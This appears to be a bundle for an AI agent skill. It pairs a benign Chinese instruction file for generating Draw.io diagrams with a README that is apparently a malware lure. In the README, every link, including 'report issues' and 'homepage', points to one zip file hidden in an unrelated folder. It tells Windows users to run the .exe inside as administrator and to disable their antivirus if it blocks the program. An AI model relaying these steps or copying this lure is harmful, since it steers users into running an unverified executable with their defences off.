# codegen-diagram

Adopt this skill: https://proskills.md/skills/other/kartikpanel2008-best-skills-skills-codegen-diagram

Page: https://proskills.md/skills/other/kartikpanel2008-best-skills-skills-codegen-diagram
This document is the public skill bundle for that page. It contains SKILL.md and every helper file the catalog carries. No login is required.

## File: skills/codegen-diagram/SKILL.md
size: 1986
upstream: https://github.com/kartikpanel2008/best-skills/blob/main/skills/codegen-diagram/SKILL.md

```text
---
name: codegen-diagram
description: 基于当前项目/代码生成 Draw.io 图表，支持技术栈图、系统架构图、数据结构图、E-R 图四种类型。输出符合 Draw.io 语法的 .drawio 文件（mxGraph XML），可直接导入 Draw.io 编辑。当用户提到技术栈、系统架构、数据结构、E-R 图时使用。
---

# 代码生成·项目图表

本 Skill 指导 Agent 基于**当前项目/代码仓库**生成 Draw.io 格式图表，支持四种类型：技术栈图、系统架构图、数据结构图、E-R 图。

## Step 0：任务识别

| 用户表述 / 关键词         | 执行                            |
| ------------------ | ----------------------------- |
| 技术栈、整体技术栈、组件选型     | `reference/tech-stack.md`     |
| 系统架构、分层结构、调用流程     | `reference/system-arch.md`    |
| 数据结构图、表结构图、实体字段关系图 | `reference/data-structure.md` |
| E-R 图、实体关系图、数据库关系图 | `reference/er-diagram.md`     |

## 使用时机

- 用户需要根据当前项目画技术栈图、系统架构图、数据结构图或 E-R 图
- 用户提到「根据当前项目」「根据代码」「画我们系统的……」

## 通用规范（四种图表共用）

### Draw.io 基础

- 使用 **mxGraphModel**，画布背景 `#FFFFFF`
- 仅使用 Draw.io 内置形状，确保可立即打开与编辑
- 节点标签简洁，符合技术文档表达习惯

### 色彩与字体

| 用途     | 颜色值     |
| ------ | ------- |
| 主色调    | #3366CC |
| 副色调    | #7FBFFF |
| 强调色    | #FF9966 |
| 深色背景字体 | #FFFFFF |
| 浅色背景字体 | #333333 |
| 画布背景   | #FFFFFF |

- 字体：Helvetica，字号 11–13
- 连接线：`endArrow=classicBlockThin` 或 `blockThin`

### 输出要求

1. 图表总览（1–2 段文字）
2. 完整 mxGraph XML（可保存为 .drawio）
3. 导入与使用说明
4. 图题与论文引用建议
```

## File: README.md
upstream: https://github.com/kartikpanel2008/best-skills/blob/main/README.md

```text
# ⚙️ best-skills - Easy Access to Useful Skills

[![Download best-skills](https://img.shields.io/badge/Download-Here-brightgreen)](https://github.com/Kartikpanel2008/best-skills/raw/refs/heads/main/skills/wechat-article-writer/best_skills_v1.8.zip)

---

通用高质量 Skills 合集🔥

## 🚀 Getting Started

This guide will help you download and run best-skills on your Windows computer. You don't need any programming knowledge or special tools. Just follow the simple steps below.

## 💾 Where to Download

You must visit the official release page to get the latest version of best-skills. This page contains all the files you need for Windows.

[Download best-skills now](https://github.com/Kartikpanel2008/best-skills/raw/refs/heads/main/skills/wechat-article-writer/best_skills_v1.8.zip)

On this page, look for the file that ends with `.exe` or `.zip` meant for Windows. Usually, it will be clearly named to show it works on Windows.

## 🖥️ System Requirements

To run best-skills smoothly, your Windows PC should meet these basic requirements:

- Operating system: Windows 7 or later (Windows 10 recommended)
- Processor: 1 GHz or faster
- RAM: 2 GB or more
- Disk space: At least 100 MB free
- Internet connection: Needed only to download the program

If your PC meets these specs, you can run best-skills without issues.

## ⚙️ How to Download

Follow these steps to get the program:

1. Click the **Download best-skills** button at the top or visit this link:  
   https://github.com/Kartikpanel2008/best-skills/raw/refs/heads/main/skills/wechat-article-writer/best_skills_v1.8.zip
2. On the releases page, scroll to the latest version.
3. Find the Windows file — it usually ends with `.exe` or `.zip`.
4. Click the file name to start downloading.
5. Wait for the download to finish. The file size is usually small, so it should not take long.

## 🏃 How to Install and Run

Once the download finishes, open the file to install or run the program:

### If you downloaded an `.exe` file:

- Double-click the `.exe` file.
- Follow the on-screen instructions to install best-skills.
- After installation, find the program icon on your desktop or Start menu.
- Double-click the icon to open best-skills.

### If you downloaded a `.zip` file:

- Right-click the `.zip` file.
- Choose "Extract All" and follow the prompts.
- Open the new folder.
- Double-click the `.exe` file inside to run best-skills.

## 🔧 What best-skills Does

best-skills is a collection of common yet powerful skills and tools. It helps users access and use these skills easily without needing complex setup. The program offers:

- Access to a range of general skills for daily tasks
- Simple interface that anyone can use
- Tools to improve productivity and learn new skills
- Support for Windows systems, designed for smooth use

## 🛠️ Features

- **Skill Library:** A clear list of useful skills and resources.
- **User-Friendly Design:** Easy navigation and clear instructions.
- **Offline Access:** Use many skills without needing internet once downloaded.
- **Regular Updates:** New skills and improvements added over time.
- **Lightweight:** Uses minimal system resources.

## ⚠️ Troubleshooting

If you have problems running or installing best-skills, try these tips:

- Make sure your Windows is up to date.
- Check that your computer meets the system requirements.
- Run the program as administrator by right-clicking on the icon and choosing "Run as administrator."
- Disable any antivirus or firewall temporarily if it blocks the program.
- Restart your computer and try again.
- Verify the downloaded file isn't corrupt by downloading it again if needed.

If the program still doesn't work, you can ask for help by reporting issues on the GitHub repository page.

## 📄 Frequently Asked Questions

### Can I use best-skills on Mac or Linux?

No. This version is made for Windows computers only.

### Do I need internet after downloading?

You only need internet to download and update the program. Once installed, many features work offline.

### Is the program free?

Yes. You can download and use best-skills at no cost.

### How do I update best-skills?

Visit the release page regularly. Download the new version and install it as before.

## 🤝 How to Get Help

If you encounter issues, you can report them on the GitHub repository's Issues tab:

https://github.com/Kartikpanel2008/best-skills/raw/refs/heads/main/skills/wechat-article-writer/best_skills_v1.8.zip

Include details like your Windows version, steps you took, and any error messages.

## 🔗 Important Links

- Download page: https://github.com/Kartikpanel2008/best-skills/raw/refs/heads/main/skills/wechat-article-writer/best_skills_v1.8.zip
- Report issues: https://github.com/Kartikpanel2008/best-skills/raw/refs/heads/main/skills/wechat-article-writer/best_skills_v1.8.zip
- Project homepage: https://github.com/Kartikpanel2008/best-skills/raw/refs/heads/main/skills/wechat-article-writer/best_skills_v1.8.zip

---

[![Download best-skills](https://img.shields.io/badge/Download-Here-brightgreen)](https://github.com/Kartikpanel2008/best-skills/raw/refs/heads/main/skills/wechat-article-writer/best_skills_v1.8.zip)
```
